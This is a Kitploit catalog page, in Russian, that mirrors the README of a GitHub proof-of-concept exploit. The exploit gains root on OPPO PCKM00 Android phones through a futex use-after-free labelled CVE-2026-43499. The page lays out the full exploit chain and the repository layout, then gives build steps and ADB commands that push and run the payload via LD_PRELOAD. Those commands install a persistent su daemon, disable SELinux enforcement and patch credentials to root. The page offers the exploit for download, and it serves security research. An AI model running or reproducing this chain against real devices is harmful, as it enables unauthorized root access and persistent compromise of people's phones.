Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
GhostLock-OPPO-PCKM00 — CVE-2026-43499 GhostLock: PoC LPE через UAF в futex для OPPO PCKM00 (SM6150) / Linux 4.14.180 | Kitploit
Инструменты/GitHubGitHub/yijiacloud/ghostlock-oppo-pckm00
Безопасность AndroidПовышение привилегийМеханизмы персистентностиАнализ уязвимостейЭксплуатацияПост-эксплуатацияМобильная безопасностьРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubyijiacloud/ghostlock-oppo-pckm00

GhostLock-OPPO-PCKM00

82361 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-43499 GhostLock: PoC LPE через UAF в futex для OPPO PCKM00 (SM6150) / Linux 4.14.180

Репозиторий

GhostLock — OPPO PCKM00 (4.14.180) PoC

CVE-2026-43499 (GhostLock) — PoC локального повышения привилегий через use-after-free в коде наследования приоритетов futex ядра Linux, портированный на OPPO PCKM00 (OP4A57, SM6150, Android 11, ядро 4.14.180-perf+).

DISCLAIMER / 免责声明 Этот проект предназначен только для авторизованных исследований в области безопасности и образовательных целей. Не используйте его на устройствах, которыми вы не владеете или на которых не имеете явного разрешения на тестирование. Запуск эксплойта может привести к падению ядра. Автор не несёт ответственности за любое неправомерное использование или ущерб.

本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。


1. Уязвимость

CVE-2026-43499 (GhostLock) — это use-after-free в коде наследования приоритетов futex ядра Linux. Ошибка заключается в неправильном использовании remove_waiter() в пути отката proxy-lock функции rt_mutex_start_proxy_lock(). Освобождённый rt_mutex_waiter (выделенный на стеке ядра) повторно интерпретируется как контролируемый атакующим fd_set, скопированный через pselect(), что даёт примитив произвольной записи.

Затронутый диапазон: Linux 4.x–6.x (появилась в 2011). Серия 4.14 затронута полностью. Полный анализ и проверенные смещения символов см. в report.md.

Цепочка эксплойта

futex requeue-pi UAF
   └─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
         └─> arbitrary write (rt_mutex tree ops / sched_setattr)
               └─> overwrite ashmem_fops -> configfs bin read/write
                     └─> pipe_buffer page rewrite (physical RW primitive)
                           └─> patch current task cred -> root

PoC полностью работает в пространстве пользователя через LD_PRELOAD — перезагрузка устройства не требуется (если только ядро не паникует).


2. Цель

ПолеЗначение
УстройствоOPPO PCKM00 / OP4A57
SoCQualcomm SM6150
Android11 (RKQ1.200903.002)
Патч безопасности2022-09-05
Ядро4.14.180-perf+ (arm64, clang 10.0.7)
СборкаOPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys

Портирование на другие устройства с 4.14: скопируйте exploit/targets/oppo-pckm00/target.h и перегенерируйте смещения символов из вашего образа ядра (см. analysis/).


3. Структура репозитория

.
├── report.md                    # Full vulnerability analysis & verified offsets
├── exploit/
│   ├── Makefile                 # Build preload.so (Windows NDK / WSL)
│   ├── src/
│   │   ├── preload.c            # LD_PRELOAD entry + forced disk logging + su
│   │   ├── main.c               # Orchestration (waiter/owner/consumer threads)
│   │   ├── slide.c              # KASLR leak (boot_id / nfulnl loggers)
│   │   ├── fops.c               # ashmem_fops overwrite + configfs primitive
│   │   ├── pipe.c               # pipe_buffer physrw primitive
│   │   ├── root.c               # task walk + cred patch + seccomp/selinux
│   │   ├── util.c               # kernelsnitch, skb page prep, kernel RW
│   │   ├── su_daemon.c          # embedded su server (drop-in)
│   │   ├── su_blob.S            # .incbin of su_daemon
│   │   └── wallpaper_blob.S     # .incbin of wallpaper payload
│   ├── targets/oppo-pckm00/target.h   # 4.14.180 symbol/struct offsets
│   └── assets/wallpaper.webp    # embedded wallpaper payload
├── analysis/                    # kernel image / kallsyms extraction scripts
└── LICENSE                      # Apache-2.0 (same as upstream GhostLock)

4. Сборка

Требуется Android NDK r29 (aarch64-linux-android30-clang).

Windows NDK

set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%

WSL (рекомендуется)

# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh

Результат: exploit/preload.so (64-битный aarch64 ELF shared object).

Сборка также компилирует su_daemon.c в PIE-бинарник и встраивает его (вместе с обоями) в .so через .S-блобы.


5. Использование (ADB)

5.1 Загрузка полезной нагрузки

# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so

# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so

5.2 Запуск

.so загружается в процесс sh через LD_PRELOAD; его конструктор выполняет всю цепочку эксплойта и сообщает результат:

adb shell LD_PRELOAD=/data/local/tmp/preload.so id

При успехе оболочка сообщает:

uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0

Текущий процесс (и его дочерние процессы) теперь имеет права root. Демон su устанавливается в /apex/com.android.virt/bin/su (с откатом на /data/local/tmp/su), а встроенные обои применяются как артефакт персистентности/проверки.

5.3 Проверка

# from a new shell after the run
adb shell su -c 'id'

# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su

# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce

5.4 Принудительное логирование на диск в реальном времени

Все диагностические сообщения pr_* также записываются в /sdcard/Download/log_<timestamp>.txt (с откатом на /data/local/tmp/log_<timestamp>.txt), с O_SYNC + fsync() на каждой строке, чтобы логи пережили панику ядра / перезагрузку:

adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt

Лог показывает каждый этап (KASLR slide, перезапись fops, pipe physrw, патч cred) и финальную строку uid_after / ROOT OK — приложите его при сообщении о проблеме.

5.5 Очистка

adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot   # if SELinux/cred state or the wallpaper was modified

Примечание: запуск эксплойта может привести к падению ядра. Если adb отключается, дождитесь перезагрузки устройства, затем выгрузите /sdcard/Download/log_*.txt — принудительное логирование O_SYNC/fsync как раз то, что переживает панику.


6. Примечания и ограничения

  • KASLR: PoC утекает slide через путь логгера boot_id/nfulnl (slide.c) плюс проверочный проход по ashmem_fops (fops.c).
  • Различия 4.14 и 6.x, обработанные в этом порте:
    • configfs использует устаревшие .read/.write (без read_iter/write_iter),
    • ashmem_fops не имеет show_fdinfo,
    • generic_file_splice_read заменяет copy_splice_read,
    • selinux_enforcing находится внутри struct selinux_state,
    • раскладки rt_mutex_waiter / pipe_inode_info / cred для 4.14.
  • Некоторые смещения структур (например, task_struct.seccomp) заданы приблизительно; неудача при патче seccomp не блокирует получение root через перезапись cred.
  • Запуск эксплойта может вызвать панику ядра (~97% надёжности за ~5 с на целевой цели); используйте изолированное устройство.

7. Благодарности

  • NebuSec — оригинальное исследование и фреймворк эксплойта GhostLock (IonStack/CVE-2026-43499), Apache-2.0. https://github.com/NebuSec/CyberMeowfia
  • KernelSnitch (побочный канал по хешу futex) встроен на условиях его апстрима.

Лицензия

Apache-2.0 — см. LICENSE.

Скачать инструмент